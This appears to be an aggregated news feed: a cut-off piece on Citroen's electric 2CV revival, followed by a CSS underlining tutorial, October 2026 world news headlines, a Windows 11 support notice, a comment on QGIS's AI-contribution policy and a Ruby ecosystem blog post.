As they face mounting competition from Chinese manufacturers, Citroen and other European brands are exploiting their heritage as a means of selling modern motors.

Farmers’ favourite

Citroen chief executive Xavier Chardon described the new car as "a modern, ingenious and refreshing response to the mobility challenges of tomorrow".

The original Citroen 2CV was launched in 1948, as Europe was recovering from the ravages of World War Two. It was designed as a cheap, robust way for French farmers and country folk to get around.

The car had high wheel arches and soft suspension, letting it travel across a ploughed field or rough roads - as legend would have it, without breaking a tray of duck eggs.

Its high roof let drivers wear a hat at the wheel. It was easy to drive and simple to repair.

The car was so popular, it remained in production for more than 40 years. Over time, it went from being a utilitarian tool for the countryside to a cult classic, and a favourite of hippies and counter-culturalists.

Getty Images A man pushes a car out of the mud during the 24th World meeting of Citroen 2CV friends near Delemont, northern Switzerland on July 26, 2023. Getty Images

Fans of Citroën's 2CV hold annual meet-ups such as this muddy gathering in Switzerland

Now, Citroen wants to draw on that heritage to sell an electric, small city car that is expected to sell for about £13,000.

The look of the new 2CV may well evolve as Citroen develops its design. But as it stands, it shares plenty of styling features with its famous predecessor.

The high, flared wheel arches, the tall, curved roof and the eye-like headlights are all reminders of the original "deux chevaux" or "two horses".

By using memories of an old car to sell a new one, Citroen is following a well-travelled road.

VW notoriously brought back the Beetle in the late 1990s, with limited success.

BMW's Minis have always carried styling designed to hark back to the very British original. Fiat has been selling a retro-styled Fiat 500 for the past two decades.

Retro-nostalgia

But the retro-nostalgia trend has accelerated recently, as carmakers have looked for ways to sell electric cars to sceptical consumers.

Citroen's French rival, Renault, has led the charge. It started with the Renault 5 E-Tech, which visually echoed the distinctive boxy styling of the original Renault 5, once an ever-present sight on French streets. It has since revived the Renault 4 and Twingo brands as well.

Rachel Burgess, senior editor of Autocar magazine, thinks it is a strategy that makes perfect sense.

"It's a brilliant differentiator from all-new car brands", she says. "An older audience might remember the originals and feel warmly towards them, and a younger audience might find an appeal in the retro aspect."

Finding new ways to make cars appealing has become more important than ever, at a time when European manufacturers are facing growing competition from Chinese brands.

"Many in the industry believe the big automotive players in Europe…face a very serious existential threat from aggressive Chinese manufacturers," says David Leggett, automotive editor at Global Data.

Getty Images All-electric ID. Buzz vehicles are parked on the lot at a Volkswagen dealership in Hawthorne, California, on May 23, 2026. Getty Images

Back to the future: VW looked to the past when designing its ID-Buzz minivan

In this hostile business environment, heritage and nostalgia could prove to be powerful weapons for more established brands, thinks automotive researcher and author Dr Paul Nieuwenhuis.

"In a world where a wave of credible decent quality Chinese EVs are hitting Europe, linking European designs back to their history while using the latest powertrain technology is something the Chinese cannot do," he says.

"The Chinese can establish new design trends, but there is limited history there."

But Leggett thinks Citroen will need more than a heady whiff of nostalgia to turn its new car into a best-seller.

"A reimagined Citroën 2CV should give a big nod to its ancestor - especially on price and design simplicity as well as visual cues," he says.

"But it also needs to be a credible modern electric car in terms of functionality and features, with widespread appeal."

Maytham Alsudany: There's more to CSS for underlining

PlanetDebian
maytham.aezign.au
2026-10-12 08:09:00
I read Ruben Schade's notes on underlining and wanted to add more, as adding a border-bottom and leaving at that seemed incomplete to me.ModernOf course, you could just use the modern choice. Here, I've shortened what Schade uses into one line of CSS (because I can). As noted, this is a fairly new f...
Original Article

I read Ruben Schade's notes on underlining and wanted to add more, as adding a border-bottom and leaving at that seemed incomplete to me.

Modern

Of course, you could just use the modern choice. Here, I've shortened what Schade uses into one line of CSS (because I can). As noted, this is a fairly new feature so not every browser supports this .

I am underlining this yap within the sentence.

.underline-me {
	text-decoration: underline red solid 3px;
}

Workarounds

Since some browsers don't support text-decoration , here are the alternatives I could think of.

border-bottom

The workaround Schade describes is using border-bottom , though it has a gap between the text in the line.

I am underlining this yap within the sentence.

I am <span class="underline-me">underlining this yap</span> within the sentence.
.underline-me {
	border-bottom: red solid 3px;
}

::after

Probably the better way is to create an ::after element, which gets very close, but displays above the text (covering the letters 'g' and 'y').

I am underlining this yap within the sentence.

I am <span class="underline-me">underlining this yap</span> within the sentence.
.underline-me {
	position: relative;
}
.underline-me::after {
	content: '';
	position: absolute;
	width: 100%;
	height: 3px;
	background-color: red;
	left: 0;
	bottom: 2px;
}

::after in a container

If you use a container (in this case, two nested <span> s instead of just one), then you can get very close with the underline displaying below the text.

I am underlining this yap within the sentence.

I am
<span class="underline-me-ctn">
	<span class="underline-me"> underlining this yap </span>
</span>
within the sentence.
.underline-me-ctn {
	position: relative;
}
.underline-me {
	z-index: 10;
	position: relative;
}
.underline-me-ctn::after {
	content: '';
	position: absolute;
	width: 100%;
	height: 3px;
	background-color: red;
	left: 0;
	bottom: 2px;
}

::after in a container with text stroke

And now if you add a stroke to the text via -webkit-text-stroke , you're basically there, though this may not be possible to do in some situations (e.g. gradient or image background behind the text). Support for -webkit-text-stroke is not that much better than text-decoration though, so make of that what you will.

I am underlining this yap underlining this yap within the sentence.

I am
<span class="underline-me-ctn">
	<span class="underline-me-outline"> underlining this yap </span>
	<span class="underline-me"> underlining this yap </span>
</span>
within the sentence.
.underline-me-ctn {
	position: relative;
}
.underline-me-outline {
	z-index: 5;
	position: absolute;
	left: 0;
	color: #000;
	-webkit-text-stroke: 0.3em var(--background);
}
.underline-me {
	z-index: 10;
	position: relative;
}
.underline-me-ctn::after {
	content: '';
	position: absolute;
	width: 100%;
	height: 3px;
	background-color: red;
	left: 0;
	bottom: 2px;
}

Combining both

You could use both for maximum compatibility, but this seems fragile and might go horribly wrong in edge cases I have not considered.

I am underlining this yap underlining this yap within the sentence.

I am
<span class="underline-me-ctn">
	<span class="underline-me-outline"> underlining this yap </span>
	<span class="underline-me"> underlining this yap </span>
</span>
within the sentence.
.underline-me-ctn {
	position: relative;
}
.underline-me-outline {
	z-index: 5;
	position: absolute;
	left: 0;
	color: #000;
	-webkit-text-stroke: 0.3em var(--background);
}
.underline-me {
	z-index: 10;
	position: relative;
	text-decoration: underline red solid 3px;
}
.underline-me-ctn::after {
	content: '';
	position: absolute;
	width: 100%;
	height: 3px;
	background-color: red;
	left: 0;
	bottom: 2px;
}

How to effectively debug when you no longer understand the code

Lobsters
copyconstruct.medium.com
2026-10-12 08:01:18
Comments...
Original Article

Why have I been blocked?

This website is using a security service to protect itself from online attacks. The action you just performed triggered the security solution. There are several actions that could trigger this block including submitting a certain word or phrase, a SQL command or malformed data.

What can I do to resolve this?

You can email the site owner to let them know you were blocked. Please include what you were doing when this page came up and the Cloudflare Ray ID found at the bottom of this page.

Headlines for October 12, 2026

Democracy Now!
www.democracynow.org
2026-10-12 08:00:00
Houthi Attack on Riyadh Airport Kills One Person, a Day After Another Strike Killed 12 People, Pentagon Quietly Raises Count of U.S. Troops Killed in Iran War, Two Palestinians Killed in Gaza Today, Russia Bombs Ukrainian Power Plant After Trump Declares Energy Ceasefire, Protests Against Right-Wing...
Original Article

Headlines October 12, 2026

Watch Headlines

Houthi Attack on Riyadh Airport Kills One Person, a Day After Another Strike Killed 12 People

Oct 12, 2026

In Saudi Arabia, one person was killed and 11 others wounded Sunday when a missile fired by Houthi fighters in Yemen hit a passenger terminal at King Khalid International Airport in Riyadh. The attack came just one day after another Houthi strike on the same terminal killed at least 12 people and injured more than 300 others, many of them critically. Saudi officials responded by canceling flights and suspending airport operations. Meanwhile, schools across Riyadh have canceled in-person classes and switched to distance learning for the second time in less than a month due to the threat of Houthi attacks. Meanwhile, Houthi-aligned media reports Saudi warplanes bombed Sana’a International ​Airport and other sites around Yemen’s capital.

Pentagon Quietly Raises Count of U.S. Troops Killed in Iran War

Oct 12, 2026

The Pentagon has once again raised its count of U.S. troops killed and wounded in operations tied to the U.S. war on Iran. The Pentagon quietly updated the figures without a public announcement on Friday. The Defense Casualty Analysis System website now lists 21 service members killed, up from 18, and 865 wounded, 98 more than in August.

This comes as 74 Democrats in Congress are pushing the Pentagon for answers about U.S. airstrikes in Iran that killed civilians. They’re focusing on a September strike on a wedding in Iran that killed five people, three adults and two children, and injured about 70 others. In a letter to Defense Secretary Pete Hegseth, the Democrats wrote, “We are deeply alarmed by the continued pattern of civilian casualties resulting from U.S. operations in the war in Iran, and the apparent lack of action and accountability from the Department. Acknowledging such incidents, accepting responsibility, and learning from them makes our forces stronger, more effective, and an example to the world. When we fail to do so, it has the exact opposite effect.”

Two Palestinians Killed in Gaza Today

Oct 12, 2026

In Gaza, two Palestinians were killed today as an Israeli drone struck vehicles in the southern city of Rafah. This follows an Israeli airstrike on Sunday that killed three Palestinians in a tent in the al-Mawasi area of Khan Younis, which Israel previously designated as a so-called safe zone. On Saturday, separate Israeli strikes killed at least five Palestinians in Gaza. Those attacks came on the first anniversary of the U.S.-brokered so-called ceasefire agreement. Palestinian officials say Israel violated the deal more than 5,100 times in attacks that killed at least 1,471 Palestinians and injured nearly 5,200 others. This is Nael al-Buhaisi, whose home was damaged in an Israeli strike.

Nael Al-Buhaisi : “Where would they go? They will stay in the streets. Where? There’s no shelter or anything. All empty areas are filled. All is filled with tents in the north, the south and in the middle, where we are living. We started living this tragedy, as well. There is no choice left for humans. There is no desire to live with this situation that we are in.”

Russia Bombs Ukrainian Power Plant After Trump Declares Energy Ceasefire

Oct 12, 2026

Image Credit: Kharkiv Prosecutor's Office

Russian attacks on Ukraine killed at least six ​civilians on Sunday, including a strike ​on a grocery ​store in Kharkiv that left three people dead and 20 injured. That followed Russian missile strikes on southeastern Ukraine on Saturday that killed 20 people, including three children. Elsewhere, Russia bombed a power plant in the city of Kharkiv on Sunday, setting it on fire. The attack came after President Trump wrote on his Truth Social account, “Effective immediately, there is an ENERGY CEASEFIRE in the War between Russia and Ukraine. Both parties have agreed.” Ukrainian President Volodymyr Zelensky said the announcement caught him off guard, calling it “news to me.” On Saturday, President Trump told reporters at the White House he thinks “it’s time for Ukraine to get a new president.” Trump’s remark came after the White House said it had reached a deal with the Kremlin to suspend sanctions on Russian diesel exports until April, in order to lower fuel prices before the midterm elections. Speaking to ABC News, President Zelensky said he would organize elections and stop attacking Russian energy sites if President Vladimir Putin agreed to a 60-day ceasefire.

President Volodymyr Zelensky : “Tell Putin: Give us two months, 60 days, of total ceasefire, 60 days, and we will organize elections. Of course, we will be ready for any choice of our people. Exactly. … We are ready for ceasefire. We are ready to begin from any kind of steps of deescalation. We are ready for energy ceasefire, not to attack energy, both sides.”

Protests Against Right-Wing Government of Indian Prime Minister Modi Rock Delhi

Oct 12, 2026

In India, protests against the right-wing government of Prime Minister Narendra Modi rocked Delhi over the weekend. Police detained thousands of people on Saturday, including the three leaders of the youth-led Cockroach Janta Party, Abhijeet Dipke, Saurav Das and Ashutosh Ranka. Authorities had intercepted their flight from Mumbai to New Delhi to prevent a large demonstration. A magistrate judge ordered them released Sunday on the condition that they not “breach peace” for one year. After their release, the leaders vowed to continue protesting, even as they accused Modi’s government of waging war on its own citizens and creating an atmosphere of fear. Today, Rahul Gandhi, the leader of the opposition Congress Party, is leading a march toward the Supreme Court.
This is Neha Bora, the national president of the All India Students’ Association.

Neha Bora : “So, I think there is hope, and that’s the only reason why people have the courage to come down onto the streets now, because there is hope that not only can you fight against these people who rule, who claim to rule with an iron fist — and they did rule with an iron fist — not only can you fight them, you can also defeat them in some way or form. And this hope is infectious, and that is why it keeps spreading in this entire country. Fear is infectious, of course, but hope is also infectious.”

DOJ Probing Whether Major TV Networks Broke Federal Antitrust Law

Oct 12, 2026

Image Credit: Joyce N. Boghosian

The Justice Department is looking into whether the five major TV networks that make up the White House TV press pool broke federal antitrust law last month. In September, news departments at ABC , CBS , CNN , NBC and Fox News briefly halted their shared rotation of White House coverage after CNN was pulled from a scheduled assignment. The networks reportedly found out about the probe on Friday, when the Justice Department’s Antitrust Division sent letters demanding records of internal communications. Last month, CNN , MS NOW and Politico sued over their ban from the White House. A Trump-appointed federal judge issued a temporary order requiring the White House to restore their access, with a ruling on a potential longer-lasting injunction expected on Tuesday.

Federal Judge Issues Temporary Order Blocking Deportation of Man Shot by ICE Agents in NYC

Oct 12, 2026

A federal judge issued a temporary order on Friday blocking the deportation of Oscar Belgal, the 28-year-old man shot by an ICE agent on Thursday in the Marble Hill neighborhood of New York City. The order also prohibits federal agents from moving him to any facility outside the Southern or Eastern Districts of New York or the District of New Jersey — unless the court approves it first. Belgal was behind the wheel of his car when he was shot, with his 5-year-old son in the back seat, as plainclothes ICE agents approached the vehicle with weapons drawn.

On Saturday, hundreds of people, including families and children, rallied in Herald Square to protest ICE and to demand accountability. Demonstrators marched to call for an end to ICE operations in New York City and justice for immigrant families. This is a protester, Tanya Nuñez.

Tanya Nuñez : “We demand accountability. We demand justice for Oscar and all victims of ICE terror. Two, identify and arrest the ICE agents involved in the shooting! That should have happened on Thursday. We demand these ICE agents are arrested. But that is not enough.”

ICE Agent in Houston Runs Over Man with Vehicle, Breaking Both His Legs

Oct 12, 2026

Image Credit: X / @aquino1_neil

In Houston, ICE agents struck and injured a man with their vehicle on Saturday after he ran from them on foot. An ICE spokesperson said agents were trying to stop a vehicle carrying José Mendoza Cervantes, the person the operation was targeting, and Miguel Parra Hernández. In the footage, the ICE vehicle can be seen running over Parra Hernández. According to his lawyer, he has two broken legs and was scheduled to undergo surgery on Sunday.

“I Can Call Him Whatever the Hell I Want”: Trump Misnames Michigan Senate Candidate Abdul El-Sayed

Oct 12, 2026

During a rally in Tennessee on Saturday, President Trump repeatedly misnamed Michigan’s Democratic Senate candidate Abdul El‑Sayed as “Mohammed,” calling him a “jihadist.”

President Donald Trump : “Like Mohammed El-Sayed — I call him Mohammed. Somebody said, 'His name isn't Mohammed; it’s Abdul.’ I said, 'To me, it's Mohammed.’ I’m the president. I can call him whatever the hell I want. To me, he’s Mohammed, and he’s a radical jihadist.”

Abdul El-Sayed responded to the attacks by saying, “He knows my name is Abdul. He says it every day. But he’s not just attacking me. He’s attacking all of us.”

Christa Pike Discharged from Hospital and Sent Back to Prison After Surviving Botched Execution

Oct 12, 2026

In Tennessee, Christa Pike was discharged from a hospital on Saturday and sent back to death row at the Debra Johnson Rehabilitation Center in Nashville. Pike survived two doses of pentobarbital meant to kill her at a botched execution attempt on September 30. Tennessee Governor Bill Lee has postponed executions through the end of the year, pending an investigation; he has not responded to calls from Christa Pike’s lawyers to commute her sentence from death to life in prison. If he takes no action before leaving office on January 16, the decision will fall to the victor of Tennessee’s gubernatorial race in November. Democrat Jerri Green has called for a moratorium on executions, while Republican candidate and current U.S. Senator Marsha Blackburn wrote, “The answer is simple: bring back the electric chair and deliver justice for these victims swiftly.”

U.S. Imposes Further Sanctions on ICC After Navi Pillay Wins Nobel Peace Prize

Oct 12, 2026

The Trump administration placed sanctions on the International Criminal Court on Friday, just hours after a former ICC judge, Navi Pillay, was awarded the Nobel Peace Prize. The court condemned the sanctions and urged its 125 member states to come to its defense. The U.S. has already sanctioned 17 ICC judges and officials. Click here to see our interview about Navi Pillay, the new Nobel Peace Prize winner .

Conservative TV Personality Katie Zacharia Appointed White House Press Secretary

Oct 12, 2026

Image Credit: Instagram / @katiezacharia

President Trump appointed conservative commentator Katie Zacharia to serve as White House press secretary, replacing Karoline Leavitt. Zacharia has spread anti-abortion disinformation, including a conspiracy theory linking the abortion pill mifepristone to Nazi Germany. In a November 2025 post on X, Zacharia falsely claimed mifepristone is “connected to the manufacturer of the deadly gas Zyklon B.” Zacharia is a former Department of Homeland Security spokesperson and current adviser to Trump Media & Technology Group.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Microsoft: Windows 11 23H2 reaches end of support in 30 days

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 07:58:33
Microsoft has reminded customers that systems running Windows 11 23H2 Enterprise, Education, and IoT Enterprise editions will stop receiving security updates next month. [...]...
Original Article

Windows 11

Microsoft has reminded customers that systems running Windows 11 23H2 Enterprise, Education, and IoT Enterprise editions will stop receiving security updates next month.

The announcement follows the end of support for Windows 11 23H2 Home and Pro editions in November 2025.

Users are now advised to upgrade to Windows 11 26H2 (also known as the Windows 11 2026 Update), which became generally available in September 2026 as an enablement package (eKB) and will reach end of support for consumers in October 2029.

"The November 2026 Windows security update will be the last update available for these editions. After this date, devices running these editions will no longer receive monthly security updates containing protections from the latest security threats," it said in a message center update . "We recommend updating eligible devices running Windows 11, version 23H2 to a supported version of Windows 11."

Windows 11 26H2 is now available in a phased rollout to eligible Windows 11 devices for those who have enabled the "Get the latest updates as soon as they're available" setting.

"If the update is ready for your device, it will download and install automatically, and a single restart will complete the process," Microsoft added.

You can also manually check if the update is available by clicking "Check for updates" in the Settings > Windows Update section. If the system is ready to update, you'll see the option to "Download and install Windows 11, version 26H2."

You can find more information about Windows 11 servicing dates on the Windows Lifecycle FAQ page or using the Lifecycle Policy search tool . Microsoft also provides a complete list of products that will reach end of support or be retired in 2026 .

Earlier this year, Microsoft extended the free Windows 10 Extended Security Updates (ESU) program for home users until October 2027.

Last month, it also announced that Windows Server 2022 reaches the end of mainstream support this Tuesday (but will switch to extended support until October 14, 2031) and that Windows 11 24H2 Home and Pro editions will also stop receiving updates this week (with Windows 11 24H2 Enterprise and Education editions remaining under mainstream support until October 2027).

More recently, on Thursday, it warned customers that devices running unsupported versions of Windows will stop receiving security updates after next year's Windows Update certificate rotation.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

QGIS bans AI assisted contributions

Hacker News
github.com
2026-10-12 07:22:24
Comments...
Original Article

Please do not misunderstand my criticism below. I consider the current craziness around "AI" to be a huge problem in many ways, ethical, societal, economical etc. And I see the huge and unfair pressure that its abuse creates on maintainers and developers. I wish it all had never happened but here we are.

I want to highlight some technical benefits though, which this policy would disallow, at least as I understand it. I am deliberately ignoring everything else here.

I could also absolutely understand if it was more of a "political" move to ban something considered unethical. But is that the intention? Is it to reduce pressure on developers? Or to make a strong statement against "AI"? In any case, I think it could more clear and probably be stronger.


As it is written now, I would understand the policy to not allow usage of LLM for review, auditing and security purposes either. The words assisted and used are very broad and I am afraid that they might throw out the baby with the bathwater ( if the baby is AI usage that yields things that are functionally and logically fit for integration in QGIS, that are human-reviewed and that do not create more after-merge-maintenance-hassle than those 100% sourced from human brains).

As someone who sometimes feels brave enough to make tiny steps into the C++ world of QGIS core, I have found LLMs to be useful for discovering additional, non-obvious context in the code. They are often wrong, but it is my strong belief that the results can be used by humans to gain further understanding of code and actually help creating better contributions.

I also sometimes find LLMs useful to get a simulation of a reviewer. Throw your code at it for review, get some listicle back, discard some of it garbage or unrelated, look at the rest, maybe find an actual issue, fix it, then go to your co-workers with a slightly less bad PR. A "Clippy" in your IDE, that gives some - sometimes useful - feedback or criticism on your development, can also help reduce errors and improve robustness. Like a web search will yield false information alongside true information, a LLM will do the same. It is up to the human to critically verify whatever they output.

Such uses would be disallowed by my understanding of this policy.

Living in the Weimar era of Ruby

Lobsters
blog.julik.nl
2026-10-12 06:59:26
Comments...
Original Article

Much has been said about the DHH keynote that he gave at RailsWorld. To me, it was the voice of a person in an existential crisis, but also a very jaded one. “Look how I don’t care anymore, and you should not care either” is not a great message when you are the headline speaker at the conference - let’s call it CareConf - that you have, yourself, lobbied for.

The message from the supreme leader was clear: we vibe-rewrote HEY in a more performant way, it worked great, we neither need nor care about Rails anymore. I honestly believe that, instead of amassing even more applause via vitriolic truth-bombing, he could have just left the toy he no longer loves - including its community - in peace.

But here is the thing: the rich and famous losing interest in the good stuff does not oblige the rest of us to. If anything, it frees up the room.

🧭 I am currently available for contract work. Hire me to help make your Rails app better!

I must admit that for a few days I felt very depressed about it all. Not about “AIs writing all the code” - that much is clear to me, and I do not lament the changing landscape of the craft - I do lament the landscape of usage , which is a topic for another article. It is abundantly clear that the LLMs are here to stay, that typing every single line by hand is no longer sustainable, and that the scales have shifted profoundly. What made me depressed was just how little care there was about the Ruby ecosystem and community, and the disdain with which David flushed the entire Rails and Ruby culture down the drain for the sake of “running it on a single Raspberry Pi”, as he put it.

What I am actually observing is something different: a renaissance, even though quite a few prominent Rubyists have moved on to other stacks - which are now much more open to exploration, as you don’t have to write all that… gunk - let’s call it what it is - by hand. A detailed unpack of 7 little-endian integers is not particularly interesting, nor artistic - it’s just gunk, and I won’t miss it. Unless struct packing is needed to make it fast, but then we can always art-direct additionally.

There was an interesting time in German history, right between the two World Wars - the “interbellum”, the time of the Weimar Republic. It was very turbulent, and a lot of it wasn’t pretty in the slightest - social difficulties, unemployment, incredible inflation, squalid living conditions, the emergence of the wildest movements, cabarets and cults imaginable… but there was also something else. The “Roaring Twenties” of Weimar Germany also produced an incredible number of great, whimsical, fascinating artistic movements. From the Bauhaus to the Berlin gay cabarets, from Kurt Weill to Fritz Lang’s Metropolis - it was a booming time, and a lot of what appeared then is still valued and cherished today.

And it was a technological boom as well - the ever more widespread use of electricity, the large-scale deployment of modern pharmaceuticals, the subways, the automobile… fascinating times.

I know how that era ended, and no - that is not the part of the analogy I am after. The part I am after is this: the old order had lost interest, nobody was in charge, the ground was shifting under everybody’s feet - and that is precisely when the most interesting work got made. Great turmoil, great industrial change, no adult supervision. Sound familiar?

And the Ruby community has always been artistic, as early as the work of _why. Aesthetics were, after all, what drew a lot of people into Rails. The fact that you didn’t need the parentheses. The fact that thingswerenotwritteninoneword as if invented by a Dutchman, that there was no “this is an attribute and this is a method” confusion… a lot of things about the language were just aesthetically brilliant.

And with the abundance of new tooling, the right mindset to look at the state of the ecosystem is this:

You are right but it also feels short-sighted? You have the most powerful tool you ever had, you have become a 1000x maker, and you can't think of how to make your stack 10x better?

Yes, Rust is fast, the type system catches bugs, but there is so much beyond it.

* Why not make Ruby 10x faster?
* Why not make Ruby (and therefore Rails) really great at concurrency?
* Why not add a banging type system to Ruby that can provide guarantees beyond Rust?
* Why not embed SQLite3 into Rails with a replication protocol so you can really compress the stack beyond a single server?
* How to preemptively fix most bugs from the most critical parts of Rails, such as database pools?

Yes, who cares about ActiveSearch, but there are so many ways we can fundamentally improve our stacks that go beyond asking the agent to just crap out code. Phoenix is still the only framework that ships with presence, because it turns out it is deceptively a hard problem to solve correctly, but somehow all issues are solved?

I understand some folks have no interest in doing any of the above, and that's fine, but then at least pass the baton to the people who want to do exactly that.

PS: I say all of this with love ❤️

September 26, 2026

Why, of all the things we now can do in Ruby, do we choose to do Rust vibe-rewrites? Of course, the story goes, all of those apps we have will just magically transform into accelerated, opaque binary blobs of SIMD goodness - with the LLMs translating our every decision, explicit or implicit, with the rigours of comparison testing (or by reading tea leaves matrix coefficients). Why even spend precious tokens on improving the gardens we already live in if you can raze them to the ground and replace them with glorious concrete?

But of course nobody ever does that

And, luckily, the razing and replacement is not the only thing that is happening. Otherwise the story would be all too sad.

See, there was a sizeable number of problems with the Ruby runtime and the “scene” that were, technically, just “too much”.

  • It would be a pain to generate a PDF with layout - there were no libraries
  • You could no longer build native GUI applications - there were no libraries
  • You could not easily produce native gems - unless you were prepared to spell out the hundreds of ubf_unblock and INT2FIX with exquisite precision…

All of these were shitty problems. They were just too much for even a team of 3 to take on, and sometimes even more people would not have been enough. The barrier to getting them into applications - even if we had them - was high, as release cycles on Rails apps were not that quick at most companies. And a lot of people would just throw up their hands in desperation and utter The Spell Of Dread:

Nobody does this sort of thing with Ruby anyway.

The playbook of the incantation of The Spell Of Dread is, as we all remember, that right after we chant “Rails developers are hard to hire”, whereupon all the people hating Ruby get to do a little dance confirming them to be right.

But right now, the equation has changed dramatically. Let me give you a simple example.

One does not simply generate an invoice

One of the typically shitty problems with Ruby has been PDF generation. As recently as 18 months ago, a Rubyist willing to produce PDF files from their Rails app would be facing a choice of a number of options, all equally unappealing:

  • Run Gotenberg to have a Chromium render the HTML, then transform it into PDF
  • Use Ferrum to spin up a local Chromium and do the same
  • Use Prawn and fight its nearly per-character manual coordinate placement
  • Use wkhtmltopdf , which was abandoned nearly four years ago, and wrestle with building it and its requisite dependencies

Prawn was great back in the day, but very challenging - primarily because it mandates nearly full manual layout, without any proper metrics or composer features. A composer is the engine that helps you place and balance typeset characters so that they fit into a pre-sized block. Sometimes, you also want to adjust that block so that your layout looks better - something that CSS actually excels at. And you want hyphenation and SVG output too…

While Cursor and other “first wave” AI tools made wrestling Prawn somewhat more pleasant, it was still a long way from “easy” - in all aspects.

That’s the very definition of “doing X sucks in Ruby”, and it would be a fair argument to not use the platform at all - for some. Or for running extra microservices (or gigaservices, as any Docker image with Chromium inside should rather be named, given its size).

Now - fast forward to this September. In the span of just a few months we have not one, but two excellent libraries for generating PDFs.

sghtmltopdf by Waka creatively reimagines wkhtmltopdf by replacing its WebKit heart with a vibed Rust-based layout engine built on Servo crates, which supports a significant subset of CSS layout directives - and a tasty dose of Typst -originating Rust libraries for font handling, metrics, line composition… I was able to move my entire invoice generation to it from Ferrum in about an hour. Initially it had some rough edges, but it took the community about a week to sand them away, and it became great. Not “manual certificate layout of 3 text blocks” great, but a genuine “6 page invoice with tables, blocks, and vector graphics” great, with the generation of a document taking double-digit milliseconds.

stationery by Mikael Henriksson takes a different approach - one closer to Prawn, with a healthy dose of Phlex thrown in. It readily accepts the fact that a PDF is just… text - and, therefore, should be unashamedly output from any tool that is able to write a text file somewhere. It adapts Phlex-y view components and blocks, wraps them with some delightful layout primitives - and the result is an even more Ruby-spirited way to output PDFs, with performance comparable to the Rust motor of sghtmltopdf.

I was able to retool to both in a very short timespan, and still have a bit of difficulty picking one. We went from “absolute wasteland with all available options being very bad” to “you can pick between two great options”, very quickly.

We do things because we want to

And it does not stop at PDFs. There are Qt bindings in development again - decent, big Qt bindings. Something that was horrible in Ruby for as long as I remember it existing. Schwad has resurrected Shoes in the form of Scarpe - not as a bleak Java jar requiring SWT, JRuby and the kitchen sink but as a proper graphics backend driven from Ruby scripts, all with native graphics. RMagick is having regular releases again and working beautifully. The GD bindings are being worked on.

On my end - I have been confronted with some sizeable ETL projects that involved Rails, and a pain point I would always stumble into was Parquet. It was just not possible to output it easily from a Rails app - we always had to either downgrade to CSVs, or rig some weird CDC pipeline that would bypass the app altogether, just for the sake of producing a data lake. My opinion at the time was that Parquet is grossly overengineered, while you can do CSV with a blunt fork. And that it was a pain to work with in any environment which was not 100% Apache-big-data-culture native (read: not C++, Java or Python).

And that irked me. No, it can’t be that “our little toy language is just too slow and too small and who cares about it anyway” - Parquet files are just bytes. Another homegrown swizzled-and-zigzagged byte encoding convention, struct repeats, pluggable compression modules and native-width types, plus some facilities for encoding… it’s just convoluted. It is not so special as to require native code, and not so big as to require a whole shelf of JARs - it was just too big of a bother to address. The few libraries that did exist handled it through linking with GObject and who knows what else. And that desert lasted for more than a decade. Now I was able to build a full Parquet library - herringbone - in the span of a few days. Something that used to be a drag of a problem with Rails ETL is just a non-issue - there is a Ruby library that is convenient for both humans and agents, it streams, it uses native compression modules where appropriate, and it requires minimal user code - even with some fairly advanced things like Parquet encryption.

No, you can’t really one-shot such a library yet. You do need to know what you want, and you do need to iterate so that it becomes polished and fast. Or, to say it differently: you will one-shot it, but the result won’t be aesthetically good. Ruby stuff has to look (and feel) good. Now I no longer have to spend days figuring out the intricacies of Thrift bit packing (I don’t miss that crap either) - I can design the API top-down and guide the LLM through making it.

Previously, producing a library like this would have taken me a few months. Producing zip_kit took 3 months (amortized over a decade, with 2 months concentrated around its inception), and the Parquet spec is 5x the size of the ZIP APPNOTE document. If ZIP is an architectural alco-trip, Parquet is a fear-and-loathing type architecture astronautics adventure.

That’s not to mention the 6 or so micro-libraries I had to knock out just for calling some cloud services that didn’t bother providing Ruby SDKs. Or at least 2 feature flag service libraries that I know are both of questionable quality and/or packaging, and could very well use some reversing and redoing, in style.

We do things because we need to

Another characteristic pain point with Ruby and Rails apps has been gRPC. I have yet to see a Rubyist who had to use gRPC in anger and had 0 issues with it. Hanging threads, fork unfriendliness, weird protobuf compatibility issues… the list goes on and on. Now Samuel just goes and redoes an Async-friendly gRPC - because we are no longer bound by the constraint of “big team at X is maintaining this thing and they got reorged for the 6th time this year, and nobody would ever be able to figure it out”. We can front-load the damn thing into the LLM wood chipper and have it help us figure it out, and then do it the way it should have been done from the beginning.

Protobufs, which are the foundation of gRPC, are also not quite a walk in the park in the Ruby world. It seems very simple, mundane even - how hard can it be to pack a few bytes into a binary string?

Turns out - you can make it as hard as the headcount of staff/principal engineers across your teams you allow to touch the thing. The official Ruby protobuf gem requires native code. Every proto message is a handle to a native object, which cannot be marshalled or dispatched to another process easily. Introspection is limited and has a weird API. You need a separate package ( protoc , the protobuf compiler) just to convert a .proto file into a Ruby file with some boilerplate in it denoting the fields you carry. It is, honestly, an utter overkill of a juggernaut for what amounts to a Marshal.dump - with a whole heap of native, compiled code to drag along.

And native code requires compilation. And ABI-compatible prebuilt gems for several platforms × versions of Ruby you need to support. And the recommended Ruby C API changes from version to version. And it hampers GC unless you are very, very careful, and requires meticulous GVL management to be performant…

Should we just cope with this and see this as normal? That’s the next target. If you want it too - get in touch, I might have something for you to play with.

Damn lies, but statistics

Anecdotes are nice, but I wanted to check whether what I am seeing is just a bubble of my own timeline. So I went to the rubygems dataset that ClickHouse hosts and counted something very dumb: how many gem names got occupied for the first time in the last twelve months, versus the twelve months before that. Not downloads, not versions - just “a name that did not exist on rubygems.org, and now does”.

The raw number is nonsense - it includes a few thousand yanked typosquats and a handful of accounts emitting a gem per API endpoint - so out went everything that is not indexed, and out went every prefix family of 20+ gems coming from three or fewer accounts. What is left is the boring, organic, one-off stuff - sidekiq-buffered , schema_reaper , k8s-rails , rspec-hopper . Of that there were about 4,600 in the year to October 2025, and about 8,900 in the year since: 1.9 times more. The line sat at roughly 400 to 500 a month through all of 2025 and then jumped to 800 to 1,600 a month from March 2026 onwards. It is not a slope, it is a step.

